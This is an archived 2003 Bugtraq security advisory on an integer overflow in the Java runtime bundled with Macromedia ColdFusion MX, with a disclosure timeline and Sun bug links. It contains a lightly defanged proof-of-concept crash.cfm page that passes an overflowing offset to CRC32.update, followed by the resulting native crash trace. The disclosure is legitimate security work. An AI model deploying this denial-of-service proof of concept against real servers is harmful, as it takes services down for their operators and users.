Coldfusion MX: Java in CFM causes Crash

From: Marc Schoenefeld (schonef_at_uni-muenster.de)
Date: 04/29/03

  • Next message: Kroma Pierre: "Auerswald COMsuite/ Back Door" 
    Date: Tue, 29 Apr 2003 17:52:53 +0200 (MES)
To: bugtraq@securityfocus.com

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Illegalaccess Security Advisory

    Name: Macromedia Coldfusion MX
    Systems: All platforms with jdk 1.3.1 Level _03 until _07
    Risk Category: Medium
    Vulnerability Type: Integer Overflow
    Vendor URL: http://www.macromedia.com
    Author: Marc Schoenefeld (marc@illegalaccess.org)
    Date: 29th April 2003

    Hi,

    the following cfm crashes macromedia coldfusion mx
    due to a integer overflow vulnerability in the bundled
    java virtual machine (1.3.1_03).

    To try just alter the <! tags !

    These type of bugs have already been reported by
    illegalaccess.org to Sun Microsystems
    in February 2003, but not been fixed in the 1.3.1 edition.
    Suns Java 1.4.1_02 is the first version not to be vulnerable to
    these problems.

    Macromedia was informed on 4/28/03, but no reaction except
    a mail reception by a cgi script.

    For further info read:
    http://developer.java.sun.com/developer/bugParade/bugs/4811913.html
    http://developer.java.sun.com/developer/bugParade/bugs/4812181.html
    http://developer.java.sun.com/developer/bugParade/bugs/4812006.html
    http://developer.java.sun.com/developer/bugParade/bugs/4811927.html
    http://developer.java.sun.com/developer/bugParade/bugs/4811917.html

    Sincerely
    Marc Schoenefeld

    - ------------------crash.cfm-------------------------
    <!H1> Coldfusion MX crash with Java <!/h1>
    <!h2> Marc Schoenefeld @ illegalaccess.org <!/h2>

    <!cfapplication name="Marc" sessionmanagement="yes">

    <!cfobject action="create" type="Java" class="java.lang.String" name="s">
    <!cfobject action="create" type="Java" class="java.util.zip.CRC32" name="c">
    <!cfset ret=s.init()>
    <!cfset ret=c.init()>
    <!cfset str = s.getBytes()>
    <!cfset retval = c.update(str,2147483647,4)>
    - ------------------crash.cfm-------------------------

    An unexpected exception has been detected in native code outside the VM.
    Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at PC=0x6d3c215b
    Function name=Java_java_util_zip_ZipEntry_initFields
    Library=I:\programme\CFusionMX\runtime\jre\bin\zip.dll

    Current Java thread:
            at java.util.zip.CRC32.updateBytes(Native Method)
            at java.util.zip.CRC32.update(Unknown Source)
            at java.lang.reflect.Method.invoke(Native Method)
            at coldfusion.runtime.java.JavaProxy.invoke(Unknown Source)
            at coldfusion.runtime.CfJspPage._invoke(Unknown Source)
            at
    cfcrash2ecfm1822493011.runPage(I:\Programme\CFusionMX\wwwroot\cfdocs\crash.cfm:12)
            at coldfusion.runtime.CfJspPage.invoke(Unknown Source)
            at coldfusion.tagext.lang.IncludeTag.doStartTag(Unknown Source)
            at coldfusion.filter.CfincludeFilter.invoke(Unknown Source)
            at coldfusion.filter.ApplicationFilter.invoke(Unknown Source)
            at coldfusion.filter.PathFilter.invoke(Unknown Source)
            at coldfusion.filter.ExceptionFilter.invoke(Unknown Source)
            at coldfusion.filter.ClientScopePersistenceFilter.invoke(Unknown
    Source)
            at coldfusion.filter.BrowserFilter.invoke(Unknown Source)
            at coldfusion.filter.GlobalsFilter.invoke(Unknown Source)
            at coldfusion.filter.DatasourceFilter.invoke(Unknown Source)
            at coldfusion.CfmServlet.service(Unknown Source)
            at jrun.servlet.ServletInvoker.invoke(ServletInvoker.java:106)
            at
    jrun.servlet.JRunInvokerChain.invokeNext(JRunInvokerChain.java:42)
            at
    jrun.servlet.JRunRequestDispatcher.invoke(JRunRequestDispatcher.java:241)
            at
    jrun.servlet.ServletEngineService.dispatch(ServletEngineService.java:527)
            at jrun.servlet.http.WebService.invokeRunnable(WebService.java:172)
            at
    jrunx.scheduler.ThreadPool$DownstreamMetrics.invokeRunnable(ThreadPool.java:348)
            at
    jrunx.scheduler.ThreadPool$ThreadThrottle.invokeRunnable(ThreadPool.java:451)
            at
    jrunx.scheduler.ThreadPool$UpstreamMetrics.invokeRunnable(ThreadPool.java:294)
            at jrunx.scheduler.WorkerThread.run(WorkerThread.java:66)

    Dynamic libraries:
    0x00400000 - 0x0040F000 I:\Programme\CFusionMX\runtime\bin\jrun.exe
    0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll
    0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll
    ...

    - --

    Never be afraid to try something new. Remember, amateurs built the
    ark; professionals built the Titanic. -- Anonymous

    Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.0.6 (AIX)
    Comment: For info see http://www.gnupg.org

    iD8DBQE+rp/cqCaQvrKNUNQRAvM6AJ9elG8t4gmwPQKJgpamrmOIGCirBwCeNHsN
    e2RINpJj1RzyBuuRvZUCBEk=
    =F+wc
    -----END PGP SIGNATURE-----

  • Next message: Kroma Pierre: "Auerswald COMsuite/ Back Door"

    Relevant Pages